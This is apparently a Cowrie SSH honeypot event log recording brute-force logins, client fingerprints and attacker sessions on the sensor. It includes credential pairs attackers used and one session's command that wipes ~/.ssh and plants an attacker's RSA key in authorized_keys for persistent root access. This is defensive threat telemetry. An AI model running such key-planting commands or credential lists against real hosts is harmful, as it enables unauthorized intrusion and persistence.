{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:57.967018Z","src_ip":"190.181.44.194","session":"de5de9f6f272","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:58.479580Z","src_ip":"190.181.44.194","session":"de5de9f6f272","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:59.602770Z","src_ip":"190.181.44.194","session":"de5de9f6f272","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.44.194","src_port":37760,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5f1e182ca75","protocol":"ssh","message":"New connection: 190.181.44.194:37760 (10.17.0.5:22) [session: b5f1e182ca75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:59.718845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:59.810233Z","src_ip":"190.181.44.194","session":"b5f1e182ca75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:37:59.930072Z","src_ip":"190.181.44.194","session":"b5f1e182ca75","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:00.398934Z","src_ip":"190.181.44.194","session":"b5f1e182ca75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:00.539909Z","src_ip":"190.181.44.194","session":"f244ac6f69ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:00.543914Z","src_ip":"190.181.44.194","session":"b5f1e182ca75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":33608,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f3a14f5c141","protocol":"ssh","message":"New connection: 193.32.162.151:33608 (159.203.135.109:22) [session: 2f3a14f5c141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:24.662682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:24.723469Z","src_ip":"193.32.162.151","session":"2f3a14f5c141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:24.853496Z","src_ip":"193.32.162.151","session":"2f3a14f5c141","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"1q2w3e4r","message":"login attempt [oracle/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:25.293028Z","src_ip":"193.32.162.151","session":"2f3a14f5c141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:26.402546Z","src_ip":"193.32.162.151","session":"2f3a14f5c141","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.36","src_port":33334,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd372081966a","protocol":"ssh","message":"New connection: 183.91.11.36:33334 (10.17.0.5:22) [session: bd372081966a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:49.434078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:49.441888Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:49.710858Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Password@_","message":"login attempt [root/Password@_] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:50.827155Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:51.402785Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:51.405985Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:51.410209Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:51.683098Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:52.260325Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:52.263257Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:52.537884Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:52.541617Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.36","src_port":34016,"dst_ip":"10.17.0.5","dst_port":22,"session":"f34e334db425","protocol":"ssh","message":"New connection: 183.91.11.36:34016 (10.17.0.5:22) [session: f34e334db425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:52.803317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:52.807456Z","src_ip":"183.91.11.36","session":"f34e334db425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:53.076679Z","src_ip":"183.91.11.36","session":"f34e334db425","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:54.186335Z","src_ip":"183.91.11.36","session":"f34e334db425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:55.463326Z","src_ip":"183.91.11.36","session":"f34e334db425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.36","src_port":34522,"dst_ip":"10.17.0.5","dst_port":22,"session":"abf8411f46d2","protocol":"ssh","message":"New connection: 183.91.11.36:34522 (10.17.0.5:22) [session: abf8411f46d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:55.729272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:55.733504Z","src_ip":"183.91.11.36","session":"abf8411f46d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:56.002864Z","src_ip":"183.91.11.36","session":"abf8411f46d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:57.111230Z","src_ip":"183.91.11.36","session":"abf8411f46d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:57.383486Z","src_ip":"183.91.11.36","session":"bd372081966a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:38:57.388545Z","src_ip":"183.91.11.36","session":"abf8411f46d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33498,"dst_ip":"159.203.135.109","dst_port":22,"session":"143625b6f6e2","protocol":"ssh","message":"New connection: 195.178.110.218:33498 (159.203.135.109:22) [session: 143625b6f6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:39:22.962920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:39:22.967304Z","src_ip":"195.178.110.218","session":"143625b6f6e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:39:23.047190Z","src_ip":"195.178.110.218","session":"143625b6f6e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:39:23.285262Z","src_ip":"195.178.110.218","session":"143625b6f6e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:39:24.367670Z","src_ip":"195.178.110.218","session":"143625b6f6e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":49042,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc67468c4418","protocol":"ssh","message":"New connection: 193.32.162.151:49042 (159.203.135.109:22) [session: bc67468c4418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:37.748046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:40:37.820151Z","src_ip":"193.32.162.151","session":"bc67468c4418","protocol":"ssh"}
